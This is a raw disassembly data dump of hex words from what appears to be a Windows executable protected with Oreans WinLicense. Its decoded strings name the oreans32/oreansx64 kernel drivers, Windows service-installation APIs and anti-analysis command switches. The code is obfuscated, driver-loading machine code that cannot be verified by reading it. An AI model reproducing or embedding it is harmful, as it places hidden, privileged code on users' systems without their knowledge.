		dd 8B50A435h, 8B042444h, 24448900h, 0B5FF5804h,	62C25C9h
		dd 3A0C858Dh, 0D0FF062Ch, 14358589h, 0AAE9062Ch, 53000000h
		dd 7774666Fh, 5C657261h, 4C6E6957h, 6E656369h, 43006573h
		dd 6B636568h, 58004E49h, 746F7270h, 74697845h, 65684300h
		dd 554F6B63h, 69570054h, 63694C6Eh, 65736E65h, 73726556h
		dd 6E6F69h, 4C6E6957h, 6E656369h, 72446573h, 72657669h
		dd 73726556h, 6E6F69h, 4C6E6957h, 6E656369h, 6E496573h
		dd 6E617473h, 45006563h, 4F746978h, 7250006Bh, 4E49636Fh
		dd 6F725000h, 54554F63h, 69784500h, 4E4974h, 74697845h
		dd 54554Fh, 4E497054h, 3 dup(0)
		dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h,	62EAC8Fh
		dd 0AC8B858Dh, 8D50062Eh, 2EABF585h, 1685006h, 0FF800000h
		dd 2EAC9B95h, 0FF196A06h, 2EAC8FB5h, 6A016A06h,	24858D00h
		dd 50062EACh, 0AC8BB5FFh, 95FF062Eh, 62C24C1h, 0AC8BB5FFh
		dd 95FF062Eh, 62EAC97h,	0AC8BB5FFh, 95FF062Eh, 62C04CDh
		dd 8F8589C3h, 8D062EACh, 2EAC8B85h, 858D5006h, 62EABF5h
		dd 16850h, 95FF8000h, 62EAC9Bh,	858D046Ah, 62EAC8Fh, 6A046A50h
		dd 4E858D00h, 50062EACh, 0AC8BB5FFh, 95FF062Eh,	62C24C1h
		dd 0AC8BB5FFh, 95FF062Eh, 62EAC97h, 0AC8BB5FFh,	95FF062Eh
		dd 62C04CDh, 8F8589C3h,	8D062EACh, 2EAC8B85h, 858D5006h
		dd 62EABF5h, 16850h, 95FF8000h,	62EAC9Bh, 858D046Ah, 62EAC8Fh
		dd 6A046A50h, 36858D00h, 50062EACh, 0AC8BB5FFh,	95FF062Eh
		dd 62C24C1h, 0AC8BB5FFh, 95FF062Eh, 62EAC97h, 0AC8BB5FFh
		dd 95FF062Eh, 62C04CDh,	8F8589C3h, 8D062EACh, 2EAC8B85h
		dd 858D5006h, 62EABF5h,	16850h,	95FF8000h, 62EAC9Bh, 858D046Ah
		dd 62EAC8Fh, 6A046A50h,	61858D00h, 50062EACh, 0AC8BB5FFh
		dd 95FF062Eh, 62C24C1h,	0AC8BB5FFh, 95FF062Eh, 62EAC97h
		dd 0AC8BB5FFh, 95FF062Eh, 62C04CDh, 8F8589C3h, 8D062EACh
		dd 2EAC8B85h, 858D5006h, 62EABF5h, 16850h, 95FF8000h, 62EAC9Bh
		dd 858D046Ah, 62EAC8Fh,	6A046A50h, 11858D00h, 50062EACh
		dd 0AC8BB5FFh, 95FF062Eh, 62C24C1h, 0AC8BB5FFh,	95FF062Eh
		dd 62EAC97h, 0AC8BB5FFh, 95FF062Eh, 62C04CDh, 6DBD83C3h
		dd 62C06h, 0B840Fh, 9D8B0000h, 62C066Dh, 894CC383h, 0BD83C303h
		dd 62C066Dh, 0B840F00h,	8B000000h, 2C066D9Dh, 50C38306h
		dd 83C30389h, 2C066DBDh, 840F0006h, 0Bh, 66D9D8Bh, 0C383062Ch
		dd 0C3038954h, 66DBD83h, 0F00062Ch, 0B84h, 6D9D8B00h, 83062C06h
		dd 38958C3h, 6DBD83C3h,	62C06h,	0B840Fh, 9D8B0000h, 62C066Dh
		dd 895CC383h, 60C3C303h, 0AC8F8589h, 858D062Eh,	62EAC8Bh
		dd 0F5858D50h, 50062EABh, 168h,	9B95FF80h, 6A062EACh, 8F858D04h
		dd 50062EACh, 6A046Ah, 0AC86858Dh, 0FF50062Eh, 2EAC8BB5h
		dd 0C195FF06h, 83062C24h, 2C1D65BDh, 840F0006h,	0Ch, 0AC8BB5FFh
		dd 95FF062Eh, 62EAC97h,	0AC8BB5FFh, 95FF062Eh, 62C04CDh
		dd 8960C361h, 2EAC8F85h, 8B858D06h, 50062EACh, 0ABF5858Dh
		dd 6850062Eh, 80000001h, 0AC9B95FFh, 46A062Eh, 0AC8F858Dh
		dd 6A50062Eh, 8D006A04h, 2EAC6885h, 0B5FF5006h,	62EAC8Bh
		dd 24C195FFh, 0BD83062Ch, 62C1D65h, 0C840F00h, 0FF000000h
		dd 2EAC8BB5h, 9795FF06h, 0FF062EACh, 2EAC8BB5h,	0CD95FF06h
		dd 61062C04h, 858960C3h, 62EAC8Fh, 0AC8B858Dh, 8D50062Eh
		dd 2EABF585h, 1685006h,	0FF800000h, 2EAC9B95h, 8D046A06h
		dd 2EAC8F85h, 46A5006h,	858D006Ah, 62EAC6Fh, 8BB5FF50h
		dd 0FF062EACh, 2C24C195h, 65BD8306h, 62C1Dh, 0C840Fh, 0B5FF0000h
		dd 62EAC8Bh, 0AC9795FFh, 0B5FF062Eh, 62EAC8Bh, 4CD95FFh
		dd 0C361062Ch, 8F858960h, 8D062EACh, 2EAC8B85h,	858D5006h
		dd 62EABF5h, 16850h, 95FF8000h,	62EAC9Bh, 858D046Ah, 62EAC8Fh
		dd 6A046A50h, 77858D00h, 50062EACh, 0AC8BB5FFh,	95FF062Eh
		dd 62C24C1h, 1D65BD83h,	0F00062Ch, 0C84h, 8BB5FF00h, 0FF062EACh
		dd 2EAC9795h, 8BB5FF06h, 0FF062EACh, 2C04CD95h,	60C36106h
		dd 0AC8F8589h, 858D062Eh, 62EAC8Bh, 0F5858D50h,	50062EABh
		dd 168h, 9B95FF80h, 6A062EACh, 8F858D04h, 50062EACh, 6A046Ah
		dd 0AC7E858Dh, 0FF50062Eh, 2EAC8BB5h, 0C195FF06h, 83062C24h
		dd 2C1D65BDh, 840F0006h, 0Ch, 0AC8BB5FFh, 95FF062Eh, 62EAC97h
		dd 0AC8BB5FFh, 95FF062Eh, 62C04CDh, 0C760C361h,	2EAC8F85h
		dd 106h, 8B858D00h, 50062EACh, 0ABF5858Dh, 6850062Eh, 80000002h
		dd 0AC9B95FFh, 0C00B062Eh, 0F840Fh, 85C70000h, 62EAC8Fh
		dd 0
		dd 4DE9h, 8D046A00h, 2EAC8F85h,	46A5006h, 858D006Ah, 62EAC09h
		dd 8BB5FF50h, 0FF062EACh, 2C24C195h, 0FC00B06h,	0F84h
		dd 8F85C700h, 62EACh, 0E9000000h, 0Ah, 0AC8F85C7h, 1062Eh
		dd 0B5FF0000h, 62EAC8Bh, 4CD95FFh, 8B61062Ch, 2EAC8F85h
		dd 8960C306h, 2EAC8F85h, 8B858D06h, 50062EACh, 0ABF5858Dh
		dd 6850062Eh, 80000001h, 0AC9B95FFh, 46A062Eh, 0AC8F858Dh
		dd 6A50062Eh, 8D006A04h, 2EAC0985h, 0B5FF5006h,	62EAC8Bh
		dd 24C195FFh, 0BD83062Ch, 62C1D65h, 0C840F00h, 0FF000000h
		dd 2EAC8BB5h, 9795FF06h, 0FF062EACh, 2EAC8BB5h,	0CD95FF06h
		dd 61062C04h, 858960C3h, 62EAC8Fh, 0AC8B858Dh, 8D50062Eh
		dd 2EABF585h, 1685006h,	0FF800000h, 2EAC9B95h, 8D046A06h
		dd 2EAC8F85h, 46A5006h,	858D006Ah, 62EAC1Bh, 8BB5FF50h
		dd 0FF062EACh, 2C24C195h, 65BD8306h, 62C1Dh, 0C840Fh, 0B5FF0000h
		dd 62EAC8Bh, 0AC9795FFh, 0B5FF062Eh, 62EAC8Bh, 4CD95FFh
		dd 0C361062Ch, 21AD85C6h, 6852062Ch, 0ADE47B07h, 0B41B5FFh
		dd 95FF062Ch, 62C2689h,	0AC9B8589h, 85C6062Eh, 62C21ADh
		dd 0E56852h, 0B5FF902Eh, 62C0B41h, 268995FFh, 8589062Ch
		dd 62EAC97h, 21AD85C6h,	6852062Ch, 0B9BF1235h, 0B41B5FFh
		dd 95FF062Ch, 62C2689h,	24C18589h, 85C6062Ch, 62C21ADh
		dd 10346852h, 0B5FF9878h, 62C0B41h, 268995FFh, 8589062Ch
		dd 62C04CDh, 21AD85C6h,	6852062Ch, 0C005DBD4h, 0B41B5FFh
		dd 95FF062Ch, 62C2689h,	2D398589h, 6E8062Ch, 78000000h
		dd 0FDC8ECCBh, 13E87Ch,	0E6110000h, 0CDF357F0h,	9F6A0612h
		dd 6AB0B461h, 787B4519h, 5B5EF965h, 0E8A6BF66h,	5F5EC381h
		dd 93BA0000h, 81675ED6h, 5EC132F2h, 0CFB70F67h,	6E933FFh
		dd 0EB000000h, 93706450h, 0BF0F5853h, 18E881CFh, 0E91C865Ah
		dd 10h,	0D50C45A0h, 4D9E8818h, 8C22C15Eh, 0F0A6B6FAh, 57D6F081h
		dd 0DE83DF8h, 0BA000000h, 51A34C92h, 0F7CAB5DAh, 0FD7E3D0Fh
		dd 0CAB70F57h, 0F0815E59h, 67515BA0h, 50CA8B66h, 5E9h
		dd 0BE845900h, 38FD5DDh, 8CDBE981h, 0EB81617Bh,	63953A77h
		dd 81F6B70Fh, 953A73C3h, 10E863h, 723D0000h, 4F219F1h
		dd 0CDBE742Fh, 9B0A272Fh, 9E93DE0h, 54000000h, 8CC5F8Eh
		dd 0ADBF2B93h, 1EA835Eh, 0FF5E850Fh, 0BF0FFFFFh, 5C1EEBF7h
		dd 535C2E5Ch, 454349h, 5C2E5C5Ch, 56574953h, 5C004449h
		dd 4E5C2E5Ch, 45434954h, 8BC08B00h, 2C24D1BDh, 65BD8306h
		dd 62C1Dh, 0BD830975h, 62C23D9h, 50197400h, 0B8C08B53h
		dd 40Fh, 6918589h, 9D8D062Ch, 62EB16Ch,	585BD3FFh, 23D9BD83h
		dd 7400062Ch, 0B8535017h, 40Fh,	6918589h, 9D8D062Ch, 62EAE5Bh
		dd 585BD3FFh, 1AC98531h, 8166062Ch, 0E9FD2CDAh,	10h, 80C98B2Ah
		dd 1EC87784h, 5C71C17Fh, 282B0EA6h, 0F98BC08Bh,	21AD85C6h
		dd 5043062Ch, 800F60h, 8B000000h, 2C11D195h, 0E85E6106h
		dd 4, 0BC8E6EFCh, 8B1DB150h, 66042444h,	8BD4ECBFh, 89CE8B00h
		dd 0B6042444h, 0B58B58A7h, 62C1A1Dh, 48E0F60h, 66000000h
		dd 66E82FBEh, 61ED5CB8h, 1671B5FFh, 9589062Ch, 62C2241h
		dd 3A0C858Dh, 6A062Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 66CCADC3h, 6909CA81h, 90B5D0FFh
		dd 13E85190h, 68000000h, 0AAF23B8h, 0F7F42D93h,	0F5D10209h
		dd 0D7ECD87h, 5F5F1B25h, 90B5B150h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0AEC35747h,	9E9h, 0E24F8E00h
		dd 0BA5EC4D0h, 6A31D8h,	465B58Bh, 4E8062Ch, 80000000h
		dd 50000000h, 8F0F6052h, 0
		dd 60310F61h, 61605850h, 50585A61h, 8BC88B66h, 8B042444h
		dd 899DB200h, 66042444h, 580243B9h, 36A9DB2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0BCC35646h, 0A859BC8Dh
		dd 0C9B70F74h, 0E281006Ah, 5CE203BAh, 8B66036Ah, 0C0F268D6h
		dd 0CE98660h, 8F000000h, 0DC59987Ah, 0BF7D27B8h, 81923BCFh
		dd 3F0E2404h, 0BD31399Fh, 62C2551h, 0B3B59D8Dh,	0B70F062Eh
		dd 2B150F9h, 6A241C89h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0E694C350h,	6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 88BB06C3h, 5F7E8F4Bh, 8B98C03Ch, 850F40CEh, 286h, 18F0Fh
		dd 66F50000h, 0D22FC281h, 0B99D8958h, 50062C14h, 0E9525057h
		dd 12h,	22DD0DA6h, 9C335550h, 9B1260F3h, 0CBF8FF68h, 310FFE6Ch
		dd 0EE9h, 5CB4AD00h, 8170C29Bh,	72AD47D4h, 5A264681h, 4895A58h
		dd 7E924h, 0E5570000h, 4BEC5CD7h, 8B006A33h, 2C0F5195h
		dd 4E806h, 800000h, 85B20000h, 52506050h, 310FD18Bh, 2B97BF66h
		dd 0D8BB585Ah, 61249186h, 424448Bh, 8BC2B1h, 8E960h, 0EEF70000h
		dd 82819643h, 0CA8B0C67h, 24448961h, 0FFD5BA04h, 6058479Bh
		dd 329D858Bh, 0D881062Ch, 0C8AF614h, 0E9036A61h, 5, 11C3201Bh
		dd 6A006A51h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 0AB6DC356h, 92720457h,	309C82F4h
		dd 11DD8529h, 36A062Ch,	14B99D29h, 4E8062Ch, 0
		dd 0B9C00000h, 3B519D68h, 66525050h, 0F3EDCBAh,	0E9525031h
		dd 9, 58804D60h, 2D76F864h, 8B310FB9h, 5A585ACAh, 24448B58h
		dd 8B665704h, 8B5EF1h, 0B7A06BAh, 24448971h, 58BDB604h
		dd 29ED958Bh, 9D8D062Ch, 62EB3BEh, 501EF680h, 6D9DBF66h
		dd 89241C89h, 2C207585h, 40D0FF06h, 12C850Fh, 958B0000h
		dd 62C0015h, 0F2BF0F58h, 89CB8B50h, 81662404h, 6A2E58C9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 883C6772h, 45EE8166h, 8A6F681Fh,	0D3B5C0F9h
		dd 11240481h, 6A3F0676h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0E9FAC353h,	36AF1A6h
		dd 258D8D89h, 6A062Ch, 6A18E980h, 53BF6603h, 181A6805h
		dd 0C88AF43Ch, 1A243481h, 8B343C18h, 48DF81F2h,	8D4C660Ah
		dd 2EB3C99Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 21D6AB66h, 0FDA7364h, 1C8Dh, 168B0F00h
		dd 0E9000000h, 11h, 0F49A077Ah,	0D7A3AA0Ah, 0CE4CCFFAh
		dd 0E83E56BFh, 1C89501Bh, 0F566024h, 8Dh, 66615E00h, 5393D181h
		dd 0B966D0FFh, 0F40EA41h, 3185h, 69BD8B00h, 60062C26h
		dd 0DE9h, 0E4B59400h, 5F116971h, 5192D1E9h, 0BA663DBBh
		dd 5861DEA4h, 13F1BF66h, 192E9h, 0DD958B00h, 80062C30h
		dd 0D88BC7C9h, 10E8h, 234F3500h, 0FCF83AB4h, 0A598767Dh
		dd 274E452Ah, 33D78123h, 5F78A418h, 52006A4Bh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 0FFF3497Fh
		dd 60045B5Dh, 0DB77E8B9h, 0B5BD8960h, 61062C0Ah, 9E9h
		dd 88128700h, 4FF843B8h, 89581A2Ch, 2C1E298Dh, 0AD85C606h
		dd 43062C21h, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 1Bh,	0ACC35343h, 0A607B0Dh, 60651E4Eh, 21D9D01h, 6861062Ch
		dd 4EE4235Dh, 0DE8h, 77B88C00h,	0C67EE41Ch, 51686D84h
		dd 0BFB22AD1h, 24048159h, 7192274Ah, 8B0Fh, 0B5FF0000h
		dd 62C1671h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0C1C35040h, 5557428Eh, 68C0Fh, 0BD890000h, 62C0FCDh
		dd 858DD78Bh, 62C3A0Ch,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 12C35242h, 4B08B4F9h,	0F98B410Fh, 0BD8BD0FFh
		dd 62C24B9h, 89EF8A50h,	6A241Ch, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0FA369C3h, 0D0FFD2BFh
		dd 71C89D8Dh, 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 183E06C3h, 0FC18D03h, 1B8062Ch
		dd 0BE000000h, 4A8A6AEFh, 8D03E3FFh, 62C0815h, 8BF88B66h
		dd 52006AC1h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 3231D7E0h, 0BD31F296h, 62C1D79h,	2DE58060h
		dd 22CD9531h, 8B61062Ch, 218D8BC0h, 83062C05h, 2C1D65BDh
		dd 9750006h, 23D9BD83h,	7400062Ch, 8B535019h, 40FB8C0h
		dd 85890000h, 62C343Dh,	0B1D39D8Dh, 0D3FF062Eh,	0BD83585Bh
		dd 62C23D9h, 50177400h,	40FB853h, 85890000h, 62C343Dh
		dd 0AE749D8Dh, 0D3FF062Eh, 8589585Bh, 62C2431h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0E9C35545h, 935A2C8Fh
		dd 15B58B7Dh, 8B062C01h, 20EE9C0h, 43330000h, 6F6E6E61h
		dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h
		dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h
		dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh
		dd 2E6Dh, 67h dup(0)
		dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0)
		dd 0EFE9h, 0AD85C600h, 47062C21h, 0E45B8668h, 71B5FFE3h
		dd 8D062C16h, 2C3A0C85h, 68D0FF06h, 104h, 31899D8Dh, 0FF53062Ch
		dd 0B58D50D0h, 62EBCC8h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh
		dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 62C21ADh, 6EFC6843h
		dd 0B5FFBC8Eh, 62C1671h, 3A0C858Dh, 0D0FF062Ch,	3189B58Dh
		dd 6A062Ch, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h
		dd 0AD85C6D8h, 57062C21h, 9BEE5668h, 71B5FFA6h,	8D062C16h
		dd 2C3A0C85h, 8DD0FF06h, 2C2189BDh, 0EE8D8D06h,	6A062EBDh
		dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h,	8D000000h
		dd 2EBAD0B5h, 32858D06h, 0FF062EABh, 0C88D8DD0h, 0B8062C71h
		dd 0
		dd 85C6E1FFh, 62C21ADh,	4AA76843h, 0B5FFC076h, 62C1671h
		dd 3A0C858Dh, 0D0FF062Ch, 0C3D0FF53h, 37D0B9h, 0E800h
		dd 83580000h, 8890EC0h,	2E9h, 0E9C38B00h, 37D0h, 905A4Dh
		dd 3, 4, 0FFFFh, 0B8h, 0
		dd 40h,	8 dup(0)
		dd 0B0h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h
		dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0)
		dd 454Ch, 0
		dd 40002h, 0
		dd 38000h, 14h,	4 dup(0)
		dd 200h, 1C0h, 90h, 0
		dd 7Eh,	0
		dd 0C4h, 1, 0DCh, 3 dup(0)
		dd 12Ch, 138h, 2 dup(0)
		dd 142h, 196h, 1D2h, 0
		dd 1D2h, 0
		dd 1000h, 14h, 37C0h, 10h, 0Ch dup(0)
		dd 4000000h, 27C0h, 0
		dd 2045h, 1, 14h, 444F434Ch, 10000h, 20000h, 30000h, 40000h
		dd 50000h, 60000h, 70000h, 80000h, 90000h, 0A0000h, 0B0000h
		dd 0C0000h, 0D0000h, 0E0000h, 0F0000h, 100000h,	110000h
		dd 120000h, 130000h, 140000h, 52505808h, 5856544Fh, 44h
		dd 10301h, 3, 0
		dd 13h dup(70000h), 3C0000h, 70000h, 60010018h,	0AD000727h
		dd 500101h, 1910007h, 27279B01h, 6F010600h, 7D017927h
		dd 85018101h, 8D018901h, 75000701h, 27950101h, 1710007h
		dd 7279801h, 1016B00h, 2771h, 360h dup(0)
		dd 400h, 1, 4F525058h, 44585654h, 80000000h, 9 dup(0)
aVerpp		db 'verPP',0
		align 10h
a1vsr2vsr3vsr	db '1vsR2vsR3vsR',0
		align 10h
		dd 9C3h	dup(0)
		dd 831BE883h, 77309F8h,	8524FFh, 0F8000000h, 0C3h, 8 dup(0)
		dd 0C3C03300h, 83C3C033h, 75000C7Eh, 0EBC03304h, 0C7E831Ah
		dd 8D147501h, 5, 187E8B00h, 46C70789h, 420h, 0C3C03300h
		dd 5250580Ch, 5856544Fh, 44445F44h, 42h, 99E9h,	75622F00h
		dd 65686367h, 326B63h, 6775622Fh, 63656863h, 662F006Bh
		dd 6563726Fh, 6E7572h, 6775622Fh, 63656863h, 6C75666Bh
		dd 732F006Ch, 63776F68h, 65646Fh, 6F68732Fh, 646F6377h
		dd 2F003265h, 74726C63h, 69642F00h, 2F003173h, 776F6873h
		dd 74736E69h, 65636E61h, 65672F00h, 736C7774h, 75746174h
		dd 6C2F0073h, 7473676Fh, 73757461h, 75642F00h, 7473706Dh
		dd 73757461h, 0
		dd 68632F00h, 706B6365h, 65746F72h, 6F697463h, 6Eh, 0BD830000h
		dd 62EF643h, 0A840F00h,	0C7000000h, 2C23D985h, 106h, 0AD85C600h
		dd 47062C21h, 4E8h, 6D6C8D00h, 448B5090h, 8B0424h, 4244489h
		dd 71B5FF58h, 8D062C16h, 2C3A0C85h, 0FFD0FF06h,	80F88BD0h
		dd 850F223Fh, 22h, 0AE22B047h, 0FFF9850Fh, 3F80FFFFh, 1B840F00h
		dd 47000003h, 0F003F80h, 31184h, 1EE900h, 3F800000h, 3840F00h
		dd 80000003h, 850F203Fh, 6, 6E947h, 0E9470000h,	0FFFFFFE2h
		dd 0F003F80h, 585h, 2E0E900h, 1E90000h,	47000000h, 0F203F80h
		dd 0FFFFF684h, 3F80FFh,	5850Fh,	0C3E90000h, 0E8000002h
		dd 0Ah,	0FFFFCBE9h, 2B4E9FFh, 0B58D0000h, 62EF5C3h, 225E8h
		dd 58BD0300h, 83062EF6h, 2EF658BDh, 840F0006h, 0Bh, 1D6585C7h
		dd 1062Ch, 8DC30000h, 2EF5CEB5h, 1FCE806h, 0BD030000h
		dd 62EF658h, 0F658BD83h, 0F00062Eh, 0B84h, 0D985C700h
		dd 1062C23h, 0C3000000h, 0F647B58Dh, 0D3E8062Eh, 3000001h
		dd 2EF658BDh, 58BD8306h, 62EF6h, 0B840Fh, 85C70000h, 62C2115h
		dd 1, 0D8B58DC3h, 0E8062EF5h, 1AAh, 0F658BD03h,	0BD83062Eh
		dd 62EF658h, 0B840F00h,	0C7000000h, 2C23D985h, 106h, 0B58DC300h
		dd 62EF5E2h, 181E8h, 58BD0300h,	83062EF6h, 2EF658BDh, 840F0006h
		dd 15h,	23D985C7h, 1062Ch, 85C70000h, 62C1D65h,	1, 0F0B58DC3h
		dd 0E8062EF5h, 14Eh, 0F658BD03h, 0BD83062Eh, 62EF658h
		dd 0A840F00h, 0C7000000h, 2C14F985h, 106h, 0FAB58D00h
		dd 0E8062EF5h, 126h, 0F658BD03h, 0BD83062Eh, 62EF658h
		dd 0A840F00h, 0C7000000h, 2C14F985h, 106h, 5B58D00h, 0E8062EF6h
		dd 0FEh, 0F658BD03h, 0BD83062Eh, 62EF658h, 0A840F00h, 0C7000000h
		dd 2C14ED85h, 106h, 0BB58D00h, 0E8062EF6h, 0D6h, 0F658BD03h
		dd 0BD83062Eh, 62EF658h, 0A840F00h, 0C7000000h,	2C158D85h
		dd 106h, 11B58D00h, 0E8062EF6h,	0AEh, 0F658BD03h, 0BD83062Eh
		dd 62EF658h, 0A840F00h,	0C7000000h, 2C1F9985h, 106h, 1FB58D00h
		dd 0E8062EF6h, 86h, 0F658BD03h,	0BD83062Eh, 62EF658h, 0A840F00h
		dd 0C7000000h, 2C07D985h, 106h,	2CB58D00h, 0E8062EF6h
		dd 5Eh,	0F658BD03h, 0BD83062Eh,	62EF658h, 0A840F00h, 0C7000000h
		dd 2C1AC185h, 106h, 37B58D00h, 0E8062EF6h, 36h,	0F658BD03h
		dd 0BD83062Eh, 62EF658h, 0A840F00h, 0C7000000h,	2C14C585h
		dd 106h, 1E900h, 80470000h, 840F203Fh, 9, 0F003F80h, 0FFFFED85h
		dd 0B960C3FFh, 1, 1CE9DE8Bh, 80000000h,	850F003Fh, 5, 0B9h
		dd 38178A00h, 2840F16h,	2B000000h, 804746C9h, 840F003Eh
		dd 8, 850FC90Bh, 0FFFFFFD3h, 840FC90Bh,	21h, 0F003F80h
		dd 984h, 203F8000h, 0A850Fh, 1B90000h, 0E9000000h, 5, 0B9h
		dd 0FC90B00h, 0D84h, 89F32B00h,	2EF658B5h, 0AE906h, 85C70000h
		dd 62EF658h, 0
		dd 0B8C361h, 0B000000h,	0A840FC0h, 0C7000000h, 2C14F985h
		dd 6, 0E8C88B00h, 7, 8E3D5F85h,	89D82A26h, 2C1F6985h, 0B50B5806h
		dd 62C11CDh, 6D94C081h,	0BD010000h, 62C0B55h, 0CE9FF33h
		dd 67000000h, 4990AEEBh, 4A818E1Eh, 8B9783CDh, 8D89380Ch
		dd 62C0C8Dh, 56E2E981h,	0BA53465Fh, 21CAAA1Ch, 3AC1815Bh
		dd 0E85823A5h, 0Ch, 0DA5C65B5h,	2CE64552h, 0AD315863h
		dd 0C1815EFCh, 76FCC166h, 6890Fh, 0B5290000h, 62C26A5h
		dd 57380C89h, 10C5BE66h, 8589535Eh, 62C017Dh, 0FEF815Ah
		dd 806E835Dh, 0C7815EE6h, 6E835D0Bh, 0CE6ABB66h, 9334FF81h
		dd 850FFFFFh, 10h, 0F5CA8166h, 1EE9F1h,	47820000h, 36C1EA3Bh
		dd 14FDB58Bh, 74E9062Ch, 4AFFFFFFh, 3B0DEC7Eh, 0FC2648D8h
		dd 9D773F93h, 10B7E9h, 56444100h, 33495041h, 4C442E32h
		dd 704F004Ch, 43536E65h, 616E614Dh, 41726567h, 65724300h
		dd 53657461h, 69767265h, 416563h, 72617453h, 72655374h
		dd 65636976h, 65470041h, 74614E74h, 53657669h, 65747379h
		dd 666E496Dh, 704F006Fh, 65536E65h, 63697672h, 44004165h
		dd 74656C65h, 72655365h, 65636976h, 6F6C4300h, 65536573h
		dd 63697672h, 6E614865h, 656C64h, 746E6F43h, 536C6F72h
		dd 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
aOreansx64_sys	db 'oreansx64.sys',0
		align 4
		dd 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
